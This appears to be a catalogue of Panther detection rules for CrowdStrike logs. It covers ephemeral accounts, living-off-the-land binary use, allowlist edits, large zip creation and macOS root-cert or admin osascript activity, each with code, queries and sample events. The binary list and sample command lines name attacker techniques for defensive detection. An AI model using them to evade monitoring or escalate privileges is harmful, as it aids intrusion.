Enabled: true
Severity: High
Description: Detects when a user account is created and deleted within 12 hours. This aims to detect ephemeral user accounts infiltrators might use to avoid suspicion.
Reference: ""
Reports:
  MITRE ATT&CK:
    - TA0003:T1136.003 # Persistence: Create Cloud Account
    - TA0005:T1070 # Defense Evasion: Indicator Removal
Detection:
  - Sequence:
      - ID: AccountCreated
        RuleID: Crowdstrike.NewUserCreated
      - ID: AccountDeleted
        RuleID: Crowdstrike.UserDeleted
    Transitions:
      - ID: User Created FOLLOWED BY User Deleted
        From: AccountCreated
        To: AccountDeleted
        WithinTimeFrameMinutes: 720 # 12 hours
        Match:
          - On: p_alert_context.target_name
    LookbackWindowMinutes: 2160
    Schedule:
      RateMinutes: 1440
      TimeoutMinutes: 1

Stages and Predicates

Fires when the steps below all occur in order within 12h, correlated by p_alert_context.target_name. Each step needs one match unless a higher minimum is shown.

Stage 1: step AccountCreated ordered before $AccountDeleted

References detection Crowdstrike New User Created.

Stage 2: step AccountDeleted ordered after $AccountCreated

References detection Crowdstrike User Deleted.

Crowdstrike FDR LOLBAS

#
Severity
informational
Group by
event.aid, process_name
Entities
ip_addresses, md5_hashes, sha1_hashes, sha256_hashes, trace_ids
Log types
Crowdstrike.FDREvent
Tags
Configuration Required
Reference
lolbas-project.github.io
Source
github.com/panther-labs/panther-analysis

Living off the land binaries and script usage

Detection logic

from panther_crowdstrike_fdr_helpers import crowdstrike_process_alert_context

LOLBAS_EXE = {
    "AppInstaller.exe",
    "At.exe",
    "Atbroker.exe",
    "Bash.exe",
    "Bitsadmin.exe",
    "CertOC.exe",
    "CertReq.exe",
    "Certutil.exe",
    "Cmd.exe",
    "Cmdkey.exe",
    "cmdl32.exe",
    "Cmstp.exe",
    "ConfigSecurityPolicy.exe",
    "Conhost.exe",
    "Control.exe",
    "Csc.exe",
    "Cscript.exe",
    "CustomShellHost.exe",
    "DataSvcUtil.exe",
    "Desktopimgdownldr.exe",
    "DeviceCredentialDeployment.exe",
    "Dfsvc.exe",
    "Diantz.exe",
    "Diskshadow.exe",
    "Dnscmd.exe",
    "Esentutl.exe",
    "Eventvwr.exe",
    "Expand.exe",
    "Explorer.exe",
    "Extexport.exe",
    "Extrac32.exe",
    "Findstr.exe",
    "Finger.exe",
    "fltMC.exe",
    "Forfiles.exe",
    "Ftp.exe",
    "Gpscript.exe",
    "Hh.exe",
    "IMEWDBLD.exe",
    "Ie4uinit.exe",
    "Ieexec.exe",
    "Ilasm.exe",
    "Infdefaultinstall.exe",
    "Installutil.exe",
    "Jsc.exe",
    "Ldifde.exe",
    "Makecab.exe",
    "Mavinject.exe",
    "Mmc.exe",
    "MpCmdRun.exe",
    "Msbuild.exe",
    "Msconfig.exe",
    "Msdt.exe",
    "Msedge.exe",
    "Mshta.exe",
    "Msiexec.exe",
    "Netsh.exe",
    "Odbcconf.exe",
    "OfflineScannerShell.exe",
    "OneDriveStandaloneUpdater.exe",
    "Pcalua.exe",
    "Pcwrun.exe",
    "Pktmon.exe",
    "Pnputil.exe",
    "Presentationhost.exe",
    "Print.exe",
    "PrintBrm.exe",
    "Psr.exe",
    "Rasautou.exe",
    "rdrleakdiag.exe",
    "Reg.exe",
    "Regasm.exe",
    "Regedit.exe",
    "Regini.exe",
    "Regsvcs.exe",
    "Regsvr32.exe",
    "Replace.exe",
    "Rpcping.exe",
    "Rundll32.exe",
    "Runexehelper.exe",
    "Runonce.exe",
    "Runscripthelper.exe",
    "Sc.exe",
    "Schtasks.exe",
    "Scriptrunner.exe",
    "Setres.exe",
    "SettingSyncHost.exe",
    "ssh.exe",
    "Stordiag.exe",
    "SyncAppvPublishingServer.exe",
    "Ttdinject.exe",
    "Tttracer.exe",
    "Unregmp2.exe",
    "vbc.exe",
    "Verclsid.exe",
    "Wab.exe",
    "winget.exe",
    "Wlrmdr.exe",
    "Wmic.exe",
    "WorkFolders.exe",
    "Wscript.exe",
    "Wsreset.exe",
    "wuauclt.exe",
    "Xwizard.exe",
    "fsutil.exe",
    "wt.exe",
}


def rule(event):
    if event.deep_get("event", "event_simpleName") == "ProcessRollup2":
        if event.deep_get("event", "event_platform") == "Win":
            exe = event.udm("process_name")
            return bool(exe.lower() in [x.lower() for x in LOLBAS_EXE])
    return False


def title(event):
    exe = event.deep_get("event", "ImageFileName").split("\\")[-1]
    return f'Crowdstrike: LOLBAS execution - [{exe}] - [{event.deep_get("event", "CommandLine")}]'


def dedup(event):
    # dedup string on "{aid}-{exe}"
    exe = event.udm("process_name")
    return f'{event.deep_get("event", "aid")}-{exe}'


def alert_context(event):
    return crowdstrike_process_alert_context(event)

Rule specification

AnalysisType: rule
LogTypes:
  - Crowdstrike.FDREvent
RuleID: "Crowdstrike.FDR.LOLBAS"
DisplayName: "Crowdstrike FDR LOLBAS"
Description: "Living off the land binaries and script usage"
Reference: "https://lolbas-project.github.io/"
Threshold: 1
DedupPeriodMinutes: 1440
Enabled: false
Filename: crowdstrike_lolbas.py
Severity: Info
Tags:
  - Configuration Required

Stages and Predicates

Fires on Crowdstrike.FDREvent events when all of the conditions below hold.

Condition

  • event.event_simpleName is ProcessRollup2
  • event.event_platform is Win

This rule also runs imperative logic the parser cannot express as a filter. The conditions above are the structured part it could extract.

Alert deduplication
repeat matches within 1d group into one alert

Indicators

These rows show field, operator, and value matches.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
aid
CommandLine
TargetProcessId
RawProcessId
ParentBaseFileName
ParentProcessId
ImageFileName
SHA256HashSHA256HashData
platformevent_platform
CommandLineevent.CommandLine

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "ConfigBuild": "1007.3.0016606.11",
  "ConfigStateHash": "3799024366",
  "Entitlements": "15",
  "TreeId": "4295752857",
  "aid": "877761efa8db44d792ddc2redacted",
  "aip": "1.1.1.1",
  "cid": "cfe698690964434083fecdredacted",
  "event": {
    "AuthenticationId": "293628",
    "CommandLine": "\"C:\\Windows\\System32\\at.exe\" at 09:00 /interactive /every:m,t,w,th,f,s,su",
    "ConfigBuild": "1007.3.0016606.11",
    "ConfigStateHash": "3799024366",
    "EffectiveTransmissionClass": "2",
    "Entitlements": "15",
    "ImageFileName": "\\Device\\HarddiskVolume2\\Windows\\System32\\at.exe",
    "ImageSubsystem": "3",
    "IntegrityLevel": "12288",
    "MD5HashData": "5fd22b915c232378e567160d641cc9f2",
    "ParentAuthenticationId": "293628",
    "ParentBaseFileName": "pwsh.exe",
    "ParentProcessId": "4370948876",
    "ProcessCreateFlags": "0",
    "ProcessEndTime": "",
    "ProcessParameterFlags": "24577",
    "ProcessStartTime": "1682106508.209",
    "ProcessSxsFlags": "64",
    "RawProcessId": "2696",
    "SHA1HashData": "0000000000000000000000000000000000000000",
    "SHA256HashData": "488e74e2026d03f21b33f470c23b3de2f466643186c2e06ae7b4883cc2e59377",
    "SessionId": "2",
    "SourceProcessId": "4370948876",
    "SourceThreadId": "6364981533",
    "Tags": "25, 27, 151, 862, 874, 924, 12094627905582, 12094627906234, 237494511599633",
    "TargetProcessId": "4389083225",
    "TokenType": "1",
    "TreeId": "4295752857",
    "UserSid": "S-1-5-21-239183934-720705223-383019856-500",
    "aid": "877761efa8db44d792ddc2redacted",
    "aip": "1.1.1.1",
    "cid": "cfe698690964434083fecdredacted",
    "event_platform": "Win",
    "event_simpleName": "ProcessRollup2",
    "id": "9a920968-f200-4dd8-8696-461217ece967",
    "name": "ProcessRollup2V19",
    "timestamp": "1682106508970"
  },
  "event_platform": "Win",
  "event_simpleName": "ProcessRollup2",
  "fdr_event_type": "ProcessRollup2",
  "id": "9a920968-f200-4dd8-8696-461217ece967",
  "name": "ProcessRollup2V19",
  "p_any_ip_addresses": [
    "1.1.1.1"
  ],
  "p_any_md5_hashes": [
    "5fd22b915c232378e567160d641cc9f2",
    "877761efa8db44d792ddc2redacted",
    "cfe698690964434083fecdredacted"
  ],
  "p_any_sha1_hashes": [
    "0000000000000000000000000000000000000000"
  ],
  "p_any_sha256_hashes": [
    "488e74e2026d03f21b33f470c23b3de2f466643186c2e06ae7b4883cc2e59377"
  ],
  "p_any_trace_ids": [
    "4295752857",
    "877761efa8db44d792ddc2redacted",
    "cfe698690964434083fecdredacted"
  ],
  "p_event_time": "2023-04-21 19:48:28.97",
  "p_log_type": "Crowdstrike.FDREvent",
  "p_parse_time": "2023-04-21 20:00:53.148",
  "p_row_id": "7ac82dbb43a99bfec196bdda17ea7f",
  "p_schema_version": 0,
  "p_source_id": "1f33f64c-124d-413c-a9e3-d51ccedd8e77",
  "p_source_label": "Crowdstrike-FDR-Dev",
  "p_timeline": "2023-04-21 19:48:28.97",
  "timestamp": "2023-04-21 19:48:28.97"
}

Crowdstrike IP Allowlist Changed

#
Severity
informational
Log types
Crowdstrike.EventStreams
Source
github.com/panther-labs/panther-analysis

Updates were made to Falcon console's allowlist. This could indicate a bad actor permitting access from another machine, or could be attackers preventing legitimate actors from accessing the console.

MITRE ATT&CK coverage

Detection logic

from panther_crowdstrike_event_streams_helpers import audit_keys_dict, cs_alert_context, str_to_list


def rule(event):
    # Only alert if an allow list is created or edited
    op_name = event.deep_get("event", "OperationName")
    if op_name not in ("CreateAllowlistGroup", "UpdateAllowlistGroup"):
        return False

    return True


def title(event):
    actor = event.deep_get("event", "UserId")
    action = {
        "CreateAllowlistGroup": "created a new",
        "UpdateAllowlistGroup": "made changes to",
    }.get(event.deep_get("event", "OperationName"))
    group = audit_keys_dict(event).get("group_name", "UNKNWOWN GROUP")
    return f"{actor} {action} Crowdstrike IP allowlist group: {group}"


def alert_context(event):
    context = cs_alert_context(event)

    # Be nice and concert the "lists" into actual lists so customers can easily process the alert
    #   context
    for key in ("cidrs", "old_cidrs", "contexts", "old_contexts"):
        if context.get(key):
            try:
                context[key] = str_to_list(context[key])
            except ValueError:
                pass  # Just ignore if we can't unmarshal it

    # Find out what entries were removed, and which were added
    op_name = event.deep_get("event", "OperationName")
    audit_keys = audit_keys_dict(event)
    added_cidrs = []
    removed_cidrs = []
    added_contexts = []
    removed_contexts = []

    def getlist(key: str):
        return str_to_list(audit_keys.get(key))

    match op_name:
        case "UpdateAllowlistGroup":
            new_cidrs = getlist("cidrs")
            old_cidrs = getlist("old_cidrs")
            new_ctx = getlist("contexts")
            old_ctx = getlist("old_contexts")
            added_cidrs = get_unique_entries(new_cidrs, old_cidrs)
            removed_cidrs = get_unique_entries(old_cidrs, new_cidrs)
            added_contexts = get_unique_entries(new_ctx, old_ctx)
            removed_contexts = get_unique_entries(old_ctx, new_ctx)
        case "CreateAllowlistGroup":
            added_cidrs = str_to_list(audit_keys.get("cidrs", []))
            added_contexts = str_to_list(audit_keys.get("contexts", []))

    context.update(
        {
            "changes": {
                "cidr_added": added_cidrs,
                "cidr_removed": removed_cidrs,
                "context_added": added_contexts,
                "context_removed": removed_contexts,
            }
        }
    )

    return context


def get_unique_entries(list1: list, list2: list) -> list:
    """Returns items in l1 that are not in l2."""
    return list(set(list1) - set(list2))

Rule specification

AnalysisType: rule
Filename: crowdstrike_ip_allowlist_changed.py
RuleID: "Crowdstrike.IpAllowlistChanged"
DisplayName: "Crowdstrike IP Allowlist Changed"
Enabled: true
LogTypes:
  - Crowdstrike.EventStreams
Severity: Info
CreateAlert: false
Reports:
  MITRE ATT&CK:
    - TA0003:T1556.009 # Persistsnce: Modify Authentication Process: Conditional Access Policies
    - TA0005:T1556.009 # Defense Evasion: Modify Authentication Process: Conditional Access Policies
    - TA0006:T1556.009 # Credential Access: Modify Authentication Process: Conditional Access Policies
Description: Updates were made to Falcon console's allowlist. This could indicate a bad actor permitting access from another machine, or could be attackers preventing legitimate actors from accessing the console.
DedupPeriodMinutes: 60
Threshold: 1
Runbook: Validate this action was authorized.

Stages and Predicates

Fires on Crowdstrike.EventStreams events when the condition below holds.

Condition

  • event.OperationName is one of CreateAllowlistGroup, UpdateAllowlistGroup

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
event.OperationNamein
  • CreateAllowlistGroup
  • UpdateAllowlistGroup
field:"event.OperationName" kind:in

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
UserIdevent.UserId

Response runbook

Validate this action was authorized.

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "event": {
    "AuditKeyValues": [
      {
        "Key": "allowlist_group_id",
        "ValueString": "24821376-7e77-431e-9469-74846978fe64"
      },
      {
        "Key": "group_name",
        "ValueString": "example_group"
      },
      {
        "Key": "description",
        "ValueString": ""
      },
      {
        "Key": "cidrs",
        "ValueString": "[1.1.1.1]"
      },
      {
        "Key": "contexts",
        "ValueString": "[API]"
      },
      {
        "Key": "active",
        "ValueString": "false"
      }
    ],
    "OperationName": "CreateAllowlistGroup",
    "ServiceName": "Crowdstrike Allowlist Management",
    "Success": true,
    "UTCTimestamp": "2024-07-26 16:13:13.000000000",
    "UserId": "wormtongue@isengard.org",
    "UserIp": "1.2.3.4"
  },
  "metadata": {
    "customerIDString": "fake_cust_id",
    "eventCreationTime": "2024-07-26 16:13:13.579000000",
    "eventType": "AuthActivityAuditEvent",
    "offset": 365164,
    "version": "1.0"
  }
}

CrowdStrike Large Zip Creation

#
Source
github.com/panther-labs/panther-analysis

Detects creation of large zip files, which can indicate attempts of exfiltration

MITRE ATT&CK coverage

Rule specification

AnalysisType: scheduled_query
Description: Detects creation of large zip files, which can indicate attempts of exfiltration
Enabled: false
SnowflakeQuery: |
  select
    ppr.commandline as parent_commandline,
    zip_proc.*
  from
    (
    select
      zips.*,
      pr2.targetprocessid as process_targetpid,
      pr2.parentprocessid as process_parentpid,
      pr2.commandline as process_commandline
    from
      (
        select
          *
        from
          panther_logs.public.crowdstrike_unknown
        where
          event_simpleName IN (
            'GzipFileWritten',
            'SevenZipFileWritten',
            'ZipFileWritten',
            'BZip2FileWritten'
          )
          and p_occurs_since('1 day')
          and CAST(unknown_payload:Size as integer) > 10000000
      ) zips
      left join panther_logs.public.crowdstrike_processrollup2 pr2
      on zips.ContextProcessId = pr2.targetprocessid

      where
      pr2.commandline like any(
        '%zip%'
      )

      and not (
        pr2.commandline like any (
          '%curl%',
          '/Application%',
          '%install%'
        )
      )

    ) zip_proc
    LEFT JOIN panther_logs.public.crowdstrike_processrollup2 ppr
    on zip_proc.process_parentpid = ppr.targetprocessid
  where
    (
      (parent_commandline is null) or
      not (parent_commandline like any (
        '%homebrew%',
        '%Homebrew%',
        '/Application%',
        '%install%'
        )
      )
    )

DatabricksQuery: |
  select
    ppr.commandline as parent_commandline,
    zip_proc.*
  from
    (
    select
      zips.*,
      pr2.targetprocessid as process_targetpid,
      pr2.parentprocessid as process_parentpid,
      pr2.commandline as process_commandline
    from
      (
        select
          *
        from
          panther_logs.crowdstrike_unknown
        where
          event_simpleName IN (
            'GzipFileWritten',
            'SevenZipFileWritten',
            'ZipFileWritten',
            'BZip2FileWritten'
          )
          and p_occurs_since('1 day')
          and CAST(unknown_payload:Size as BIGINT) > 10000000
      ) zips
      left join panther_logs.crowdstrike_processrollup2 pr2
      on zips.ContextProcessId = pr2.targetprocessid

      where
      pr2.commandline LIKE '%zip%'

      and not (
        pr2.commandline LIKE '%curl%'
        OR pr2.commandline LIKE '/Application%'
        OR pr2.commandline LIKE '%install%'
      )

    ) zip_proc
    LEFT JOIN panther_logs.crowdstrike_processrollup2 ppr
    on zip_proc.process_parentpid = ppr.targetprocessid
  where
    (
      (parent_commandline is null) or
      not (
        parent_commandline LIKE '%homebrew%'
        OR parent_commandline LIKE '%Homebrew%'
        OR parent_commandline LIKE '/Application%'
        OR parent_commandline LIKE '%install%'
      )
    )
QueryName: "CrowdStrike Large Zip Creation"
Schedule:
  RateMinutes: 1440
  TimeoutMinutes: 5

Stages and Predicates

Stage 1: source

Stage 2: filter

  • any of:
    • parent_commandline is empty
    • all of:
      • parent_commandline does not match the pattern *homebrew*
      • parent_commandline does not match the pattern *Homebrew*
      • parent_commandline does not match the pattern /Application*
      • parent_commandline does not match the pattern *install*

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
parent_commandlineis_null
  • (no value, null check)
field:"parent_commandline" kind:is_null

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
parent_commandlineppr.commandline
zip_proc . *

CrowdStrike Large Zip Creation (crowdstrike_fdrevent table)

#
Source
github.com/panther-labs/panther-analysis

Detects creation of large zip files, which can indicate attempts of exfiltration (crowdstrike_fdrevent table)

MITRE ATT&CK coverage

Rule specification

# This file is the part of the Crowdstrike FDREvent migration, and it's the equivalent of
# https://github.com/panther-labs/panther-analysis/blob/b61db1ecf3967c5f6a44c1782f8891fd5f54384d/queries/crowdstrike_queries/CrowdStrike_Large_Zip_Creation.yml
#
AnalysisType: scheduled_query
Description: Detects creation of large zip files, which can indicate attempts of exfiltration (crowdstrike_fdrevent table)
Enabled: false
SnowflakeQuery: |
  select
    ppr.event:CommandLine as parent_commandline,
    zip_proc.*
  from
    (
    select
      zips.*,
      pr2.event:TargetProcessId as process_targetpid,
      pr2.event:ParentProcessId as process_parentpid,
      pr2.event:CommandLine as process_commandline
    from
      (
        select
          *
        from
          panther_logs.public.crowdstrike_fdrevent
        where
          event_simpleName IN (
            'GzipFileWritten',
            'SevenZipFileWritten',
            'ZipFileWritten',
            'BZip2FileWritten'
          )
          and p_occurs_since('1 day')
          and CAST(event:Size as integer) > 10000000
      ) zips
      left join panther_logs.public.crowdstrike_fdrevent pr2
      on zips.ContextProcessId = pr2.TargetProcessId_decimal and pr2.fdr_event_type = 'ProcessRollup2'

      where
      pr2.event:CommandLine like any(
        '%zip%'
      )

      and not (
        pr2.event:CommandLine like any (
          '%curl%',
          '/Application%',
          '%install%'
        )
      )

    ) zip_proc
    LEFT JOIN panther_logs.public.crowdstrike_fdrevent ppr
    on zip_proc.process_parentpid = ppr.TargetProcessId_decimal and ppr.fdr_event_type = 'ProcessRollup2'
  where
    (
      (parent_commandline is null) or
      not (parent_commandline like any (
        '%homebrew%',
        '%Homebrew%',
        '/Application%',
        '%install%'
        )
      )
    )

DatabricksQuery: |
  select
    ppr.event.CommandLine as parent_commandline,
    zip_proc.*
  from
    (
    select
      zips.*,
      pr2.event.TargetProcessId as process_targetpid,
      pr2.event.ParentProcessId as process_parentpid,
      pr2.event.CommandLine as process_commandline
    from
      (
        select
          *
        from
          panther_logs.crowdstrike_fdrevent
        where
          event_simpleName IN (
            'GzipFileWritten',
            'SevenZipFileWritten',
            'ZipFileWritten',
            'BZip2FileWritten'
          )
          and p_occurs_since('1 day')
          and CAST(event:Size as BIGINT) > 10000000
      ) zips
      left join panther_logs.crowdstrike_fdrevent pr2
      on zips.ContextProcessId = pr2.TargetProcessId_decimal and pr2.fdr_event_type = 'ProcessRollup2'

      where
      pr2.event.CommandLine LIKE '%zip%'

      and not (
        pr2.event.CommandLine LIKE '%curl%'
        OR pr2.event.CommandLine LIKE '/Application%'
        OR pr2.event.CommandLine LIKE '%install%'
      )

    ) zip_proc
    LEFT JOIN panther_logs.crowdstrike_fdrevent ppr
    on zip_proc.process_parentpid = ppr.TargetProcessId_decimal and ppr.fdr_event_type = 'ProcessRollup2'
  where
    (
      (parent_commandline is null) or
      not (
        parent_commandline LIKE '%homebrew%'
        OR parent_commandline LIKE '%Homebrew%'
        OR parent_commandline LIKE '/Application%'
        OR parent_commandline LIKE '%install%'
      )
    )
QueryName: "CrowdStrike Large Zip Creation (crowdstrike_fdrevent table)"
Schedule:
  RateMinutes: 1440
  TimeoutMinutes: 5

Stages and Predicates

Stage 1: source

Stage 2: filter

  • any of:
    • parent_commandline is empty
    • all of:
      • parent_commandline does not match the pattern *homebrew*
      • parent_commandline does not match the pattern *Homebrew*
      • parent_commandline does not match the pattern /Application*
      • parent_commandline does not match the pattern *install*

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
parent_commandlineis_null
  • (no value, null check)
field:"parent_commandline" kind:is_null

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
parent_commandlineppr.event : CommandLine
zip_proc . *

CrowdStrike MacOS Added Trusted Cert

#
Severity
medium
Entities
ip_addresses, md5_hashes, sha1_hashes, sha256_hashes, trace_ids
Log types
Crowdstrike.FDREvent
Reference
docs.panther.com
Source
github.com/panther-labs/panther-analysis

Detects attempt to install a root certificate on MacOS

MITRE ATT&CK coverage

Detection logic

from panther_crowdstrike_fdr_helpers import crowdstrike_process_alert_context


def rule(event):
    event_platform = event.get("event_platform", "<UNKNOWN_PLATFORM>")
    fdr_event_type = event.get("fdr_event_type", "<UNKNOWN_FDR_EVENT_TYPE>")
    image_filename = event.deep_get("event", "ImageFileName", default="<UNKNOWN_IMAGE_FILE_NAME>")
    command_line = event.deep_get("event", "CommandLine", default="<UNKNOWN_COMMAND_LINE>")
    return all(
        [
            event_platform == "Mac",
            fdr_event_type == "ProcessRollup2",
            image_filename == "/usr/bin/security",
            "add-trusted-cert" in command_line,
        ]
    )


def title(event):
    host = event.get("ComputerName") or event.get("aid", "<AID_NOT_FOUND>")
    return f"Crowdstrike: New trusted cert added on device [{host}]"


def alert_context(event):
    return crowdstrike_process_alert_context(event)

Rule specification

AnalysisType: rule
DisplayName: CrowdStrike MacOS Added Trusted Cert
Description: Detects attempt to install a root certificate on MacOS
Enabled: true
Filename: crowdstrike_macos_add_trusted_cert.py
RuleID: Crowdstrike.Macos.Add.Trusted.Cert
Reference: https://docs.panther.com/data-onboarding/supported-logs/crowdstrike#crowdstrike.processrollup2
Severity: Medium
LogTypes:
  - Crowdstrike.FDREvent

Stages and Predicates

Fires on Crowdstrike.FDREvent events when all of the conditions below hold.

Condition

  • event_platform is Mac
  • fdr_event_type is ProcessRollup2
  • event.ImageFileName is /usr/bin/security
  • event.CommandLine contains add-trusted-cert

Indicators

These rows show field, operator, and value matches.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
aid
CommandLine
TargetProcessId
RawProcessId
ParentBaseFileName
ParentProcessId
ImageFileName
SHA256HashSHA256HashData
platformevent_platform
ComputerName

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "aid": "1234abcdefghijklmnop",
  "aip": "1.2.3.4",
  "cid": "abcde098654321xyz",
  "configbuild": "1007.4.0016804.11",
  "configstatehash": "1260279761",
  "entitlements": "15",
  "event": {
    "CodeSigningFlags": "570506001",
    "CommandLine": "security add-trusted-cert -d -r trusted",
    "ConfigBuild": "1007.4.0016804.11",
    "ConfigStateHash": "1260279761",
    "EffectiveTransmissionClass": "2",
    "Entitlements": "15",
    "GID": "20",
    "ImageFileName": "/usr/bin/security",
    "MD5HashData": "5a29b1ee210395604829dafd744a8039",
    "MachOSubType": "1",
    "ParentBaseFileName": "zsh",
    "ParentProcessId": "488592041865603507",
    "ProcessEndTime": "",
    "ProcessGroupId": "488638905187012012",
    "ProcessStartTime": "1685123957.068",
    "RGID": "501",
    "RUID": "501",
    "RawProcessId": "51673",
    "SHA1HashData": "0000000000000000000000000000000000000000",
    "SHA256HashData": "fc708414b7e7c0df8d7711d0362b4dbd79a45fba65bdc646848fa8f50e9035de",
    "SVGID": "20",
    "SVUID": "501",
    "SessionProcessId": "488592041748162994",
    "SigningId": "com.apple.Foundation.plutil",
    "SourceProcessId": "488592041865603507",
    "SourceThreadId": "0",
    "Tags": "316",
    "TargetProcessId": "488638905187012012",
    "TeamId": "-",
    "UID": "501",
    "aid": "1234abcdefghijklmnop",
    "aip": "1.2.3.4",
    "cid": "abcde098654321xyz",
    "event_platform": "Mac",
    "event_simpleName": "ProcessRollup2",
    "id": "59c9d5fb-b9b7-43a3-913f-6df72d9e1969",
    "name": "ProcessRollup2MacV9",
    "timestamp": "1685123957235"
  },
  "event_platform": "Mac",
  "event_simplename": "ProcessRollup2",
  "fdr_event_type": "ProcessRollup2",
  "id": "59c9d5fb-b9b7-43a3-913f-6df72d9e1969",
  "name": "ProcessRollup2MacV9",
  "p_any_ip_addresses": [
    "1.2.3.4"
  ],
  "p_any_md5_hashes": [
    "1234abcdefghijklmnop",
    "5a29b1ee210395604829dafd744a8039",
    "abcde098654321xyz"
  ],
  "p_any_sha1_hashes": [
    "0000000000000000000000000000000000000000"
  ],
  "p_any_sha256_hashes": [
    "fc708414b7e7c0df8d7711d0362b4dbd79a45fba65bdc646848fa8f50e9035de"
  ],
  "p_any_trace_ids": [
    "1234abcdefghijklmnop",
    "abcde098654321xyz"
  ],
  "p_event_time": "2023-05-26 17:59:17.235",
  "p_log_type": "Crowdstrike.FDREvent",
  "p_parse_time": "2023-05-26 18:11:03.404",
  "p_row_id": "d6ff1555b3f6e785b3e2bbb218abf524",
  "p_schema_version": 0,
  "p_source_id": "e4962678-a986-44af-a757-18163a2bc963",
  "p_source_label": "Crowdstrike",
  "timestamp": "2023-05-26 17:59:17.235"
}

CrowdStrike MacOS Osascript as Administrator

#
Severity
medium
Entities
ip_addresses, md5_hashes, sha1_hashes, sha256_hashes, trace_ids
Log types
Crowdstrike.FDREvent
Reference
www.sentinelone.com
Source
github.com/panther-labs/panther-analysis

Detects usage of osascript with administrator privileges

MITRE ATT&CK coverage

Detection logic

from panther_crowdstrike_fdr_helpers import crowdstrike_process_alert_context


def rule(event):
    event_platform = event.get("event_platform", "<UNKNOWN_PLATFORM>")
    event_simplename = event.get("event_simplename", "<UNKNOWN_EVENT_SIMPLENAME>")
    image_filename = event.deep_get("event", "ImageFileName", default="<UNKNOWN_IMAGE_FILE_NAME>")
    command_line = event.deep_get("event", "CommandLine", default="<UNKNOWN_COMMAND_LINE>")
    return all(
        [
            event_platform == "Mac",
            event_simplename == "ProcessRollup2",
            image_filename == "/usr/bin/osascript",
            "with administrator privileges" in command_line,
        ]
    )


def title(event):
    host = event.get("ComputerName") or event.get("aid", "<AID_NOT_FOUND>")
    return f"Crowdstrike: Osascript run with administrator privileges on [{host}]"


def alert_context(event):
    return crowdstrike_process_alert_context(event)

Rule specification

AnalysisType: rule
DisplayName: CrowdStrike MacOS Osascript as Administrator
Description: Detects usage of osascript with administrator privileges
Enabled: true
Filename: crowdstrike_macos_osascript_administrator.py
RuleID: Crowdstrike.Macos.Osascript.Administrator
Reference: https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/
Severity: Medium
LogTypes:
  - Crowdstrike.FDREvent

Stages and Predicates

Fires on Crowdstrike.FDREvent events when all of the conditions below hold.

Condition

  • event_platform is Mac
  • event_simplename is ProcessRollup2
  • event.ImageFileName is /usr/bin/osascript
  • event.CommandLine contains with administrator privileges

Indicators

These rows show field, operator, and value matches.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
aid
CommandLine
TargetProcessId
RawProcessId
ParentBaseFileName
ParentProcessId
ImageFileName
SHA256HashSHA256HashData
platformevent_platform
ComputerName

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "aid": "1234abcdefghijklmnop",
  "aip": "1.2.3.4",
  "cid": "abcde098654321xyz",
  "configbuild": "1007.4.0016804.11",
  "configstatehash": "1260279761",
  "entitlements": "15",
  "event": {
    "CodeSigningFlags": "570506001",
    "CommandLine": "osascript test.osa with administrator privileges",
    "ConfigBuild": "1007.4.0016804.11",
    "ConfigStateHash": "1260279761",
    "EffectiveTransmissionClass": "2",
    "Entitlements": "15",
    "GID": "20",
    "ImageFileName": "/usr/bin/osascript",
    "MD5HashData": "5a29b1ee210395604829dafd744a8039",
    "MachOSubType": "1",
    "ParentBaseFileName": "zsh",
    "ParentProcessId": "488592041865603507",
    "ProcessEndTime": "",
    "ProcessGroupId": "488638905187012012",
    "ProcessStartTime": "1685123957.068",
    "RGID": "501",
    "RUID": "501",
    "RawProcessId": "51673",
    "SHA1HashData": "0000000000000000000000000000000000000000",
    "SHA256HashData": "fc708414b7e7c0df8d7711d0362b4dbd79a45fba65bdc646848fa8f50e9035de",
    "SVGID": "20",
    "SVUID": "501",
    "SessionProcessId": "488592041748162994",
    "SigningId": "com.apple.Foundation.plutil",
    "SourceProcessId": "488592041865603507",
    "SourceThreadId": "0",
    "Tags": "316",
    "TargetProcessId": "488638905187012012",
    "TeamId": "-",
    "UID": "501",
    "aid": "1234abcdefghijklmnop",
    "aip": "1.2.3.4",
    "cid": "abcde098654321xyz",
    "event_platform": "Mac",
    "event_simpleName": "ProcessRollup2",
    "id": "59c9d5fb-b9b7-43a3-913f-6df72d9e1969",
    "name": "ProcessRollup2MacV9",
    "timestamp": "1685123957235"
  },
  "event_platform": "Mac",
  "event_simplename": "ProcessRollup2",
  "fdr_event_type": "ProcessRollup2",
  "id": "59c9d5fb-b9b7-43a3-913f-6df72d9e1969",
  "name": "ProcessRollup2MacV9",
  "p_any_ip_addresses": [
    "1.2.3.4"
  ],
  "p_any_md5_hashes": [
    "1234abcdefghijklmnop",
    "5a29b1ee210395604829dafd744a8039",
    "abcde098654321xyz"
  ],
  "p_any_sha1_hashes": [
    "0000000000000000000000000000000000000000"
  ],
  "p_any_sha256_hashes": [
    "fc708414b7e7c0df8d7711d0362b4dbd79a45fba65bdc646848fa8f50e9035de"
  ],
  "p_any_trace_ids": [
    "1234abcdefghijklmnop",
    "abcde098654321xyz"
  ],
  "p_event_time": "2023-05-26 17:59:17.235",
  "p_log_type": "Crowdstrike.FDREvent",
  "p_parse_time": "2023-05-26 18:11:03.404",
  "p_row_id": "d6ff1555b3f6e785b3e2bbb218abf524",
  "p_schema_version": 0,
  "p_source_id": "e4962678-a986-44af-a757-18163a2bc963",
  "p_source_label": "Crowdstrike",
  "timestamp": "2023-05-26 17:59:17.235"
}

CrowdStrike MacOS plutil Novel Plist Modification

#
Tags
Anomaly Detection, CrowdStrike, macOS, Persistence, T1547.011
Source
github.com/panther-labs/panther-analysis

